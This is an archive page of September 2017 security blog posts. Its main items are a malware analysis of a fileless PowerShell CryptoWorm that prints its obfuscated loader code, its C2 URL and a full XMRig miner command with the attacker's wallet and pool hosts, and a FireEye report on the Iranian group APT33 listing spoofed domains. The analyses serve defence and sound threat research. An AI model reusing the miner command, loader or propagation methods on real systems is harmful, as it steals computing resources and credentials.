Monthly Archives: September 2017

QOTD – SEC Chair Clayton on Need for Cooperation

Cybersecurity must be more than a firm-by-firm or agency-by-agency effort. Active and open communication between and among regulators and the private sector also is critical to ensuring the nation’s financial system is robust and effectively protected. Information sharing and coordination are essential for regulators to anticipate potential cyber threats and respond to a major cyberattack, should one arise.
-- Jay Clayton, SEC Chair 

Src: Written Remarks before the Committee on Banking, Housing and Urban Development United States Senate, September 26, 2017

Malware spam: "Emailing: Scan0xxx" from "Sales" delivers Locky or Trickbot

This fake document scan delivers different malware depending on the victim's location: Subject:       Emailing: Scan0963 From:       "Sales" [sales@victimdomain.tld] Date:       Thu, September 28, 2017 10:31 am Your message is ready to be sent with the following file or link attachments: Scan0963 Note: To protect against computer viruses, e-mail programs may prevent sending or receiving

Advanced ‘all in memory’ CryptoWorm

Introduction.

Today I want to share a nice Malware analysis having an interesting flow. The "interesting" adjective comes from the abilities the given sample owns. Capabilities of exploiting, hard obfuscations and usage of advanced techniques to steal credentials and run commands. 

The analyzed sample has been provided by a colleague of mine (Alessandro) who received the first stage by eMail. A special thanks to Luca and Edoardo for having recognized XMRig during the last infection stage.   

General View.

The following image shows the general view of the entire attack path. As you might appreciate from the picture, that flow could be considered a complex flow since many specific artifacts were included in the attack phases.  The initial stage starts by abusing the user inexperience taking him/her to click on a first stage file called  (in my case) y1.bat. Nowadays eMail vector is one of the most favorite vectors used by attackers and easily implemented to deliver malicious contents. Once the first stage is run, it downloads and executes a second stage file called info6.ps1: a heavy obfuscated PowerShell script which drops (by de-obfuscate it directly on body) three internal resources: 
  1. Mimikatz.dll. This module is used to steal user administrative credentials.
  2. Utilities. This module is used to scan internal networks in order to propagate the infection, it is used to run several internal utilities such as (but not limited to): de-obfuscation routines,  ordering arrays and running exploits. This module is also used to drop and execute an additional file (from the same server) named info.vbs.
  3. Exploits. This module is a set of known exploits such as eternalblue7_exploit and eternal_blue_powershell used from the initial stage of attack to infect internal machines .
Full Stage Attack Path

The last stage (info.vbs) drops and runs an executable file which has been recognized to be XMRig. XMRig is an open sourced Monero CPU Miner, freely available on github. The infection tries to propagate itself by scanning and attacking internal resources through the Exploit module, while the XMRig module mines Monero cryptocurrency giving to the attacker fresh "crypto money" by stealing victims resources. 

Analysis.

A romantic but still "working" .bat file is propagated to the victim by email or message. Once the user clicks on it, the .bat file would run the following command spawning a powershell able to download and run a script called info6.ps1 from http://118.184.48.95:8000/

Stage1: Downloads and Run 
The downloaded powershell file is clearly divided into two macro blocks both of them obfuscated. The following image shows the two visual sections which I am going to call them: "half up" (section before the "new line") and "half down" (section after the "new line").

Stage2: Two Visual Sections to be explored
While the "half up" section fairly appears to be a Base64 encoded text file, the "half down" section looks like encoded through a crafted function which, fortunately (and certain), appears in clear text at the end of such a file. By editing that function it is possible to modify the decoding process making it saving the decoded text file directly to a desired folder. The following image shows the decoded second stage "half dow" section.  

Decoded Second Stage "Half Down"
Analyzing the section code it would be easy to agree that the main used functions are dynamically extracted from the file itself, by performing a substring operations on the current content.


$funs=$fa.SubsTrIng(0,406492)

$mimi=$fa.sUBStrInG(406494,1131864)

$mon=$fa.suBstrING(1538360,356352)
$vcp=$fa.sUBStRiNG(1894714,880172)
$vcr=$fa.sUBstrINg(2774888,1284312)
$sc=$fa.sUBsTrinG(4059202)

  
The content of $fa variable and every function related to it is placed in the "half up" section which after being decoded looks like the following image.

Decoded Second Stage "Half Up"
The second stage "half up" code is borrowed from Kevin Robertson (Irken), the attacker reused many useful functionalities from Irken including the Invoke-TheHas routine which could be used through SMB to execute commands or to executes direct code having special rights. 

A surprisingly interesting line of code is found on the same stage (Second stage "half down"): NTLM= Get-creds mimi mimi  where the Get-creds function (coming from the Based64 decoded "half up") runs, by using the reflectoin techique, a DLL function. So by definition the mimi parameter has to be a DLL file included somewhere in the code. Let's grab it by running the following code: $fa.sUBStrInG(406494,1131864) Where 406494 is the start character and the 1131864 is the last character to be interpreted as a dynamic loaded library. Fortunately the dropped DLL is a well known library, widely used in penetration testing named Mimikatz. It would be clear that the attacker uses the Mimikatz library to grab user (and eventually administrators) passwords. Once the passwords stealing activity is done the Malware starts to scan internal networks for known vulnerabilities such as MS17/10. The identified exploits have been borrowed from tevora-thrat and woravit since same peace of codes, same comments and same variable names have been found. If the Malware finds vulnerability on local area networks it tries to infect the machine by injecting itself (info6.ps1) through EthernalBlue and then it begins its execution from the second Stage.

On the same thread the Malware drops and runs a .vbs file (Third Stage) and it gets persistence through WMIClass on service.

Introducing the Third Stage
 The info.vbs drops and executes from itself a compiled version of XMRIG renamed with the "mimetic" string: taskservice.exe.  Once the compiled PE file (XMRig) is placed in memory the new stage starts it by running the following commands.

Third Stage Execution of Monero Miner
The clear text Monero address is visible on the code. Unfortunately the Monero address is not trackable so far. 

Monero address: 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE

and the used server is: stratum+tcp://pool.supportxmr.com:80
w.run "%temp%\taskservice.exe  -B -o stratum+tcp://pool.supportxmr.com:80 -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE  -o stratum+tcp://mine.xmrpool.net:80  -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE -o stratum+tcp://pool.minemonero.pro:80   -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE -p x" ,0
Many interesting other sections should be analyzed but for now lets stop here.

IOC.

Please find some of the most interesting IoC for you convenience.

- URL: http://118.184.48.95:8000/
- Monero Address: 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE
- Sha256: 19e15a4288e109405f0181d921d3645e4622c87c4050004357355b7a9bf862cc
- Sha256: 038d4ef30a0bfebe3bfd48a5b6fed1b47d1e9b2ed737e8ca0447d6b1848ce309

Conclusion.

We are facing one of the first complex delivery of cryptocoin mining Malware. Everybody knows about CryptoMine, BitCoinMiner and Adylkuzz Malware which basically dropped on the target machine a BitCoin Miner, so if you are wondering: Why Marco do you write: "one of the first Malware" ? Well actually I wrote one of the "first complex" delivery. Usual coins Malware are delivered with no propagation modules, with no exploiting module and with not file-less techniques. In fact, the way this Monero CPU Miner has been delivered, includes advanced methodologies of memory inflation, where the unpacked Malware is not saved on Hard Drive (a technique to bypass some Anti Virus) but it is inflated directly on memory and called directly from memory itself. 

We can consider this Malware as a last generation of -all in memory- CryptoWorm. 

Another interesting observation, at least on my personal point of view, comes from the first stage. Why the attacker included this useless stage ? It appears to be not useful at all, it's a mere dropper wth no controls nor evasions. The attacker could have delivered just the second stage within the first stage in it, assuring a more stealth network fingerprint. So why the attacker decided to deliver the CryptoWorm through the first stage ? Maybe the first stage is part of a bigger framework ? Are we facing a new generation of Malware Generator Kits ? 

I wont really answering to such a questions right now, but contrary I'd like to take my readers thinking about it.

Have fun

QOTD – SEC Chair Clayton on Cyber Risk Disclosures

[W]e are continuing to examine whether public companies are taking appropriate action to inform investors, including after a breach has occurred, and we will investigate issuers that mislead investors about material cybersecurity risks or data breaches.
-- Jay Clayton, SEC Chair 

Src: Written Remarks before the Committee on Banking, Housing and Urban Development United States Senate, September 26, 2017

Malware spam: "AutoPosted PI Notifier"

This spam has a .7z file leading to Locky ransomware. From:      "AutoPosted PI Notifier" [NoReplyMailbox@redacted.tld] Subject:      Invoice PIS9344608 Date:      Tue, September 26, 2017 5:29 pm Please find Invoice PIS9344608 attached. The number referenced in the spam varies, but attached is a .7z archive file with a matching filename. In turn, this contains one of a number of malicious VBS

“Preparing for Cyber Security Incidents”

This blog post was written by ICS515 instructor,Kai Thomsen. Talk with any incident responder and you'll learn that there are a few less glamorous parts of the job. Writing the final report and preparation in advance to an incident are probably top contenders. In this article I want to focus on preparation and explain to … Continue reading Preparing for Cyber Security Incidents

Hyperbole in Breach Reporting

While reading the news this morning about yet another successful data breach, I couldn't help but wonder if the hyperbole used in reporting about data breaches is stifling our ability to educate key stakeholders on what they really need to know.

Today's example is about a firm that many rely on for security strategy, planning, and execution. The article I read stated that they were "targeted by a sophisticated hack" but later explains that the attacker compromised a privileged account that provided unrestricted "access to all areas". And, according to sources, the account only required a basic password with no two-step or multi-factor authentication. That doesn't sound too sophisticated, does it? Maybe they brute-forced it, or maybe they just guessed the password (or found it written down in an office?)

It reminded me of an attack on a security vendor back in 2011. As I recall, there was a lot of talk of the sophistication and complexity of the attack. It was called an Advanced Persistent Threat (and maybe some aspects of it were advanced). But, when the facts came out, an employee simply opened an email attachment that introduced malware into the environment - again, not overly sophisticated in terms of what we think a hack to be.

The quantity, availability, and effectiveness of attack techniques are enough to make anyone uncomfortable with their security posture. I previously wrote about a German company who, in a breach response, wrote that it is "virtually impossible to provide viable protection against organized, highly professional hacking attacks." CISOs are being told that they should expect to be breached. The only questions are about when and how to respond. It makes you feel like there's no hope; like there's no point in trying.

However, if you look at the two examples above that were described as highly sophisticated, they may have been avoided with simple techniques such as employee education, malware detection, and multi-factor authentication. I don't mean to over-simplify. I'm not saying it's all easy or that these companies are at-fault or negligent. I'm just calling for less hyperbole in the reporting. Call out the techniques that help companies avoid similar attacks. Don't describe an attack as overly sophisticated if it's not. It makes people feel even more helpless when, perhaps, there are some simple steps that can be taken to reduce the attack surface.

I'd also advocate for more transparency from those who are attacked. Companies shouldn't feel like they have to make things sound more complicated or sophisticated than they are. There's now a growing history of reputable companies (including in the security industry) who have been breached. If you're breached, you're in good company. Let's talk in simple terms about the attacks that happen in the real world. An "open kimono" approach will be more effective at educating others in prevention. And again, less hyperbole - we don't need to overplay to emotion here. Everyone is scared enough. We know the harsh reality of what we (as security professionals) are facing. So, let's strive to better understand the real attack surface and how to prioritize our efforts to reduce the likelihood of a breach.

QOTD – Raskin on Cybersecurity as Shared Responsibility

Understanding and dealing with the cyber threat has, due to your efforts, seeped from the IT shop and into the CEO shop.  Responsibility is now shared. In fact, this new shared responsibility, among IT experts, the CEO, and the board of directors, has been the most noticeable trend in governance from my time in the industry, in state government, and in the federal government.  Bankers rarely used to talk to me much about cybersecurity.  Now, this is one topic that comes up every day.
-- Treasury Deputy Secretary Sarah Bloom Raskin

Src: Remarks of Deputy Secretary Raskin at The Texas Bankers’ Association Executive Leadership Cybersecurity Conference

The Hay CFP Management Method

By Andrew Hay, Co-Founder and CTO, LEO Cyber Security.

I speak at a lot of conferences around the world. As a result, people often ask me how I manage the vast number of abstracts and security call for papers (CFPs) submissions. So I thought I’d create a blog post to explain my process. For lack of a better name, let’s call it the Hay CFP Management Method. It should be noted that this method could be applied to any number of things from blog posts to white papers and scholastic articles to news stories. I have successfully proven this methodology for both myself and my teams at OpenDNS, DataGravity, and LEO Cyber Security. Staying organized helped manage the deluge of events, submitted talks, and important due dates in addition to helping me keep track of where in the world my team was and what they were talking about.

I, like most people, started managing abstracts and submissions by relying on email searches and documents (both local and on Google Drive, Dropbox, etc.). Unfortunately, I didn’t find this scaled very well as I kept losing track of submitted vs. accepted/rejected talks and their corresponding dates. It certainly didn’t scale when it was applied to an entire team as opposed to a single individual.

Enter Trello, a popular (and freemium) web-based project management application that utilizes the Kanban methodology for organizing projects (boards), lists (task lists), and tasks (cards). In late September I start by creating a board for the upcoming year (let’s call this board the 2018 Conference CFP Calendar) and, if not already created, a board to track my abstracts in their development lifecycle (let’s call this board Talk Abstracts).

Within the Talk Abstracts board, I create several lists to act as swim lanes for my conference abstracts and other useful information. These lists are:

* Development: These are talks that are actively being developed and are not yet ready for prime time.
* Completed: These are talks that have finished development and are ready to be delivered at an upcoming event.
* Delivered: These are talks that have been delivered at least once.
* Misc: This list is where I keep my frequently requested form information such as my short bio (less than 50 characters), long bio (less than 1,500 characters), business mailing address (instead of browsing to your corporate website every time), and CISSP number (because who can remember that?).
* Retired: As a personal rule, I only use a particular talk for one calendar year. When I feel as though the talk is stale, boring, or stops being accepted, I move the card to this list. That’s not to say you can’t revive a talk or topic in the future as a “version 2.0”. This is why keeping the card around is valuable.

Within the 2018 Conference CFP Calendar board, I create several lists to act as swim lanes for my various CFPs. These lists are:

* CFP open: This is where I put all of the upcoming conference cards that I know about even if I do not yet know the exact details (such as location, CFP open/close, etc.).
* CFP closes in < 30 days: This is where I put the upcoming conference cards that have a confirmed closing date within the next 30 days. Note, it is very important to record details in the cards such as closing date, conference CFP mechanism (e.g. email vs. web form), and any related URLs for the event.
* Submitted: These are the conferences that I have submitted to and the associated cards. Note, I always provide a link to the abstract I submitted as a way to remind myself what I’m talking about.
* Accepted: These are the accepted talk cards. Note, I always put a copy of the email (or link to) acceptance notification to record any details that might be important down the road. I also make sure to change the date on the card to that of the speaking date and time slot to help keep me organized.
* Attending but not presenting: This is really a generic catch-all for events that I need to be at but may not be speaking at (e.g. booth duty, attending training, etc.). The card and associated dates help keep my dance card organized.
* Accepted but backed out: Sometimes life happens. This list contains cards of conference submissions that I had to back out of for one reason or another. I keep these cards in their own column to show me what was successfully accepted and might be a fit for next year in addition to the reason I had to back out (e.g. conflict, personal issue, alien abduction, etc.).
* Completed: This list is for completed talk cards. Again, I keep these to reference for next year’s board as it provides some ballpark dates for when the CFP opens, closes, as well as the venue and conference date.
* Rejected: They’re not all winners and not everybody gets every talk accepted. In my opinion, keeping track of your rejected talks is as (if not more) important as keeping track of your accepted talks. Not only does it allow you to see what didn’t work for that particular event, but it also allows you to record reviewer feedback on the submission and maybe submit a different style or type of abstract in the future.
* Not doing 2018: This is the list where I put conference cards that I’ve missed the deadline on (hey, it happens), cannot submit to because of a conflict, or simply choose to not submit a talk to.

It should be noted that I keep the above lists in the same order every year to help minimize my development time against the Trello API for my visualization dashboard (which I will explain in a future blog post). This might sound like a lot of work but once you’ve set this board up you can reuse it every year. In fact, it’s much easier to copy last year’s board than starting fresh every year, as it brings the cards and details over. Then all you need to do is update the old cards with the new venue, dates, and URLs.

Now that we have our board structure created we need to start populating the lists with the cards – which I’ll explain in the next blog post. In addition to the card blog post, I’ll explain two other components of the process in subsequent posts. For reference, here are the upcoming blog posts that will build on this one:

* Individual cards and their structure
* Moving cards through the pipeline
* Visualizing your board (and why it helps)

The post The Hay CFP Management Method appeared first on LEO Cyber Security.

QOTD – Admiral Rogers on Cyber War

Cyber war is not some future concept or cinematic spectacle, it is real and here to stay.
[...]
Conflict in the cyber domain is not simply a continuation of kinetic operations by digital means, nor is it some Science Fiction clash of robot armies.

-- Admiral Michael Rogers, Commander of US Cyber Command,
Testimony before US House Committee on Armed Service (May 2017)

Src: Docs.House.Gov

A Change In Context

Today marks the end of my first week in a new job. As of this past Monday, I am now a Manager, Security Engineering, with Pearson. I'll be handling a variety of responsibilities, initially mixed between security architecture and team management. I view this opportunity as a chance to reset my career after the myriad challenges experienced over the past decade. In particular, I will now finally be able to say I've had administrative responsibility for personnel, lack of which having held me back from career progression these past few years.

This change is a welcome one, and it will also be momentous in that it will see us leaving the NoVA/DC area next Summer. The destination is not finalized, but it seems likely to be Denver. While it's not the same as being in Montana, it's the Rockies and at elevation, which sounds good to me. Not to mention I know several people in the area and, in general, like it. Which is not to say that we dislike where we live today (despite the high price tag). It's just time for a change of scenery.

I plan to continue writing on the side here (and on LinkedIn), but the pace of writing may slow again in the short-term while I dedicate most of my energy to ramping up the day job. The good news, however, is this will afford me the opportunity to continue getting "real world" experience that can be translated and related in a hopefully meaningful manner.

Until next time, thanks and good luck!

Tips / Solutions for settings up OpenVPN on Debian 9 within Proxmox / LCX containers

When I tried to migrate my OpenVPN setup to a container on my new Proxmox server I run into multiple problems, where searching through the Internet provided solutions that did not work or were out of date. So I thought I put everything one needs to setup OpenVPN on Debian 9 within a Proxmox / LXC container together in one blog post.

 

Getting a TUN device into the unprivileged container

As you really should run container in unprivileged mode the typical solutions with adding/allowing

lxc.cgroup.devices.allow: c 10:200 rwm

won’t work. And running a container in privileged mode is a bad bad idea, but gladly there is a native LXC solution.

Stop the container with

pct stop <containerid>

Add following line to /etc/pve/lxc/<containerid>.conf

lxc.mount.entry = /dev/net/tun dev/net/tun none bind,create=file

start the container with

pct start <containerid>

OpenVPN will now be able to create a tun device. Just do a test run with

openvpn --config /etc/openvpn/blabla.conf

 

Add OpenVPN config files to the “autostart”

You need to put the OpenVPN files into /etc/openvpn/ with the extension .conf. And if you add a new file you need to run

systemctl daemon-reload

before doing a service openvpn restart.

Changes in existing config files don’t need the systemd reload.

 

Getting systemd to start openvpn within a unprivileged container

So OpenVPN works now manually but not with the “init” script. You see following error message in the log file
daemon() failed or unsupported: Resource temporarily unavailable (errno=11)

To solve this edit

/lib/systemd/system/openvpn@.service

and but a # in front of

LimitNPROC=10

now reload systemd with

systemctl daemon-reload

and it should work.

 

Hope that info/tips helped you to solve the problems faster than I did. 🙂 If you know some other tips / solutions for running OpenVPN in a Debian 9 container withing LXC / Proxmox write a comment! Thx!

Malware spam: "Invoice RE-2017-09-21-00xxx" from "Amazon Marketplace"

This fake Amazon spam comes with a malicious attachment: Subject:       Invoice RE-2017-09-21-00794 From:       "Amazon Marketplace" [yAhbPDAoufvZE@marketplace.amazon.co.uk] Date:       Thu, September 21, 2017 9:21 am Priority:       Normal ------------- Begin message ------------- Dear customer, We want to use this opportunity to first say "Thank you very much for your purchase!"

Encryption would NOT have saved Equifax

I read a few articles this week suggesting that the big question for Equifax is whether or not their data was encrypted. The State of Massachusetts, speaking about the lawsuit it filed, said that Equifax "didn't put in safeguards like encryption that would have protected the data." Unfortunately, encryption, as it's most often used in these scenarios, would not have actually prevented the exposure of this data. This breach will have an enormous impact, so we should be careful to get the facts right and provide as much education as possible to law makers and really to anyone else affected.

We know that the attack took advantage of a flaw in Apache Struts (that should have been patched). Struts is a framework for building applications. It lives at the application tier. The data, obviously, resides at the data tier. Once the application was compromised, it really doesn't matter if the data was encrypted because the application is allowed to access (and therefore to decrypt) the data.

I won't get into all the various encryption techniques that are possible but there are two common types of data encryption for these types of applications. There's encryption of data in motion so that nobody can eavesdrop on the conversation as data moves between tiers or travels to the end users. And there's encryption of data at rest that protects data as it's stored on disk so that nobody can pick up the physical disk (or the data file, depending on how the encryption is applied) and access the data. Once the application is authenticated against the database and runs a query against the data, it is able to access, view, and act upon the data even if the data was encrypted while at rest.

Note that there is a commonly-applied technique that applies at-rest encryption at the application tier. I don't want to confuse the conversation with too much detail, but it usually involves inserting some code into the application to encrypt/decrypt. I suspect that if the application is compromised then app-tier encryption would have been equally unhelpful.

The bottom line here is that information security requires a broad, layered defense strategy. There are numerous types of attacks. A strong security program addresses as many potential attack vectors as possible within reason. (My use of "within reason" is a whole other conversation. Security strategies should evaluate risk in terms of likelihood of an attack and the damage that could be caused.) I already wrote about a layered approach to data protection within the database tier. But that same approach of layering security applies to application security (and information security in general). You have to govern the access controls, ensure strong enough authentication, understand user context, identify anomalous behavior, encrypt data, and, of course, patch your software and maintain your infrastructure. This isn't a scientific analysis. I'm just saying that encryption isn't a panacea and probably wouldn't have helped at all in this case.

Equifax says that their "security organization was aware of this vulnerability at that time, and took efforts to identify and to patch any vulnerable systems in the company's IT infrastructure." Clearly, humans need to rely on technology to help identify what systems exist in the environment, what software is installed, which versions, etc. I have no idea what tools Equifax might have used to scan their environment. Maybe the tool failed to find this install. But their use of "at that time" bothers me too. We can't rely on point-in-time assessments. We need continuous evaluations on a never ending cycle. We need better intelligence around our IT infrastructures. And as more workloads move to cloud, we need a unified approach to IT configuration compliance that works across company data centers and multi-cloud environments.

100% protection may be impossible. The best we can do is weigh the risks and apply as much security as possible to mitigate those risks. We should also all be moving to a continuous compliance model where we are actively assessing and reassessing security in real time. And again... layer, layer, layer.

Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware

When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON – aka Disttrack – to target organizations in the Persian Gulf. However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33. Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

Recent investigations by FireEye’s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of APT33’s operations, capabilities, and potential motivations. This blog highlights some of our analysis. Our detailed report on FireEye MySIGHT contains a more thorough review of our supporting evidence and analysis. We will also be discussing this threat group further during our webinar on Sept. 21 at 8 a.m. ET.

Targeting

APT33 has targeted organizations – spanning multiple industries – headquartered in the United States, Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production.

From mid-2016 through early 2017, APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings.

During the same time period, APT33 also targeted a South Korean company involved in oil refining and petrochemicals. More recently, in May 2017, APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company.

We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia’s military aviation capabilities to enhance Iran’s domestic aviation capabilities or to support Iran’s military and strategic decision making vis a vis Saudi Arabia.

We believe the targeting of the Saudi organization may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea’s recent partnerships with Iran’s petrochemical industry as well as South Korea’s relationships with Saudi petrochemical companies. Iran has expressed interest in growing their petrochemical industry and often posited this expansion in competition to Saudi petrochemical companies. APT33 may have targeted these organizations as a result of Iran’s desire to expand its own petrochemical production and improve its competitiveness within the region. 

The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups, indicating a common interest in the sectors across Iranian actors.

Figure 1 shows the global scope of APT33 targeting.


Figure 1: Scope of APT33 Targeting

Spear Phishing

APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals.

An example .hta file excerpt is provided in Figure 2. To the user, the file would appear as benign references to legitimate job postings; however, unbeknownst to the user, the .hta file also contained embedded code that automatically downloaded a custom APT33 backdoor.


Figure 2: Excerpt of an APT33 malicious .hta file

We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016. Many of the phishing emails appeared legitimate – they referenced a specific job opportunity and salary, provided a link to the spoofed company’s employment website, and even included the spoofed company’s Equal Opportunity hiring statement. However, in a few cases, APT33 operators left in the default values of the shell’s phishing module. These appear to be mistakes, as minutes after sending the emails with the default values, APT33 sent emails to the same recipients with the default values removed.

As shown in Figure 3, the “fake mail” phishing module in the ALFA Shell contains default values, including the sender email address (solevisible@gmail[.]com), subject line (“your site hacked by me”), and email body (“Hi Dear Admin”).


Figure 3: ALFA TEaM Shell v2-Fake Mail (Default)

Figure 4 shows an example email containing the default values the shell.


Figure 4: Example Email Generated by the ALFA Shell with Default Values

Domain Masquerading

APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.    

The following domains masquerade as these organizations: Boeing, Alsalam Aircraft Company, Northrop Grumman Aviation Arabia (NGAAKSA), and Vinnell Arabia.

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

Boeing, Alsalam Aircraft company, and Saudia Aerospace Engineering Industries entered into a joint venture to create the Saudi Rotorcraft Support Center in Saudi Arabia in 2015 with the goal of servicing Saudi Arabia’s rotorcraft fleet and building a self-sustaining workforce in the Saudi aerospace supply base.

Alsalam Aircraft Company also offers military and commercial maintenance, technical support, and interior design and refurbishment services.

Two of the domains appeared to mimic Northrop Grumman joint ventures. These joint ventures – Vinnell Arabia and Northrop Grumman Aviation Arabia – provide aviation support in the Middle East, specifically in Saudi Arabia. Both Vinnell Arabia and Northrop Grumman Aviation Arabia have been involved in contracts to train Saudi Arabia’s Ministry of National Guard.

Identified Persona Linked to Iranian Government

We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries.

We assess an actor using the handle “xman_1365_x” may have been involved in the development and potential use of APT33’s TURNEDUP backdoor due to the inclusion of the handle in the processing-debugging (PDB) paths of many of TURNEDUP samples. An example can be seen in Figure 5.


Figure 5: “xman_1365_x" PDB String in TURNEDUP Sample

Xman_1365_x was also a community manager in the Barnamenevis Iranian programming and software engineering forum, and registered accounts in the well-known Iranian Shabgard and Ashiyane forums, though we did not find evidence to suggest that this actor was ever a formal member of the Shabgard or Ashiyane hacktivist groups.

Open source reporting links the “xman_1365_x” actor to the “Nasr Institute,” which is purported to be equivalent to Iran’s “cyber army” and controlled by the Iranian government. Separately, additional evidence ties the “Nasr Institute” to the 2011-2013 attacks on the financial industry, a series of denial of service attacks dubbed Operation Ababil. In March 2016, the U.S. Department of Justice unsealed an indictment that named two individuals allegedly hired by the Iranian government to build attack infrastructure and conduct distributed denial of service attacks in support of Operation Ababil. While the individuals and the activity described in indictment are different than what is discussed in this report, it provides some evidence that individuals associated with the “Nasr Institute” may have ties to the Iranian government.

Potential Ties to Destructive Capabilities and Comparisons with SHAMOON

One of the droppers used by APT33, which we refer to as DROPSHOT, has been linked to the wiper malware SHAPESHIFT. Open source research indicates SHAPESHIFT may have been used to target organizations in Saudi Arabia.

Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT. The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration. Both DROPSHOT and SHAPESHIFT contain Farsi language artifacts, which indicates they may have been developed by a Farsi language speaker (Farsi is the predominant and official language of Iran).

While we have not directly observed APT33 use SHAPESHIFT or otherwise carry out destructive operations, APT33 is the only group that we have observed use the DROPSHOT dropper. It is possible that DROPSHOT may be shared amongst Iran-based threat groups, but we do not have any evidence that this is the case.

In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.

We have also observed differences in both targeting and tactics, techniques and procedures (TTPs) associated with the group using SHAMOON and APT33. For example, we have observed SHAMOON being used to target government organizations in the Middle East, whereas APT33 has targeted several commercial organizations both in the Middle East and globally. APT33 has also utilized a wide range of custom and publicly available tools during their operations. In contrast, we have not observed the full lifecycle of operations associated with SHAMOON, in part due to the wiper removing artifacts of the earlier stages of the attack lifecycle.

Regardless of whether DROPSHOT is exclusive to APT33, both the malware and the threat activity appear to be distinct from the group using SHAMOON. Therefore, we assess there may be multiple Iran-based threat groups capable of carrying out destructive operations.

Additional Ties Bolster Attribution to Iran

APT33’s targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests, implying that the threat actor is most likely government sponsored. This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government.

The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC). The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC.

APT33 largely operated on days that correspond to Iran’s workweek, Saturday to Wednesday. This is evident by the lack of attacker activity on Thursday, as shown in Figure 6. Public sources report that Iran works a Saturday to Wednesday or Saturday to Thursday work week, with government offices closed on Thursday and some private businesses operating on a half day schedule on Thursday. Many other Middle East countries have elected to have a Friday and Saturday weekend. Iran is one of few countries that subscribes to a Saturday to Wednesday workweek.

APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups. The publicly available backdoors and tools utilized by APT33 – including NANOCORE, NETWIRE, and ALFA Shell – are all available on Iranian hacking websites, associated with Iranian hackers, and used by other suspected Iranian threat groups. While not conclusive by itself, the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33’s familiarity with them and lends support to the assessment that APT33 may be based in Iran.


Figure 6: APT33 Interactive Commands by Day of Week

Outlook and Implications

Based on observed targeting, we believe APT33 engages in strategic espionage by targeting geographically diverse organizations across multiple industries. Specifically, the targeting of organizations in the aerospace and energy sectors indicates that the threat group is likely in search of strategic intelligence capable of benefitting a government or military sponsor. APT33’s focus on aviation may indicate the group’s desire to gain insight into regional military aviation capabilities to enhance Iran’s aviation capabilities or to support Iran’s military and strategic decision making. Their targeting of multiple holding companies and organizations in the energy sectors align with Iranian national priorities for growth, especially as it relates to increasing petrochemical production. We expect APT33 activity will continue to cover a broad scope of targeted entities, and may spread into other regions and sectors as Iranian interests dictate.

APT33’s use of multiple custom backdoors suggests that they have access to some of their own development resources, with which they can support their operations, while also making use of publicly available tools. The ties to SHAPESHIFT may suggest that APT33 engages in destructive operations or that they share tools or a developer with another Iran-based threat group that conducts destructive operations.

Appendix

Malware Family Descriptions

Malware Family

Description

Availability

DROPSHOT

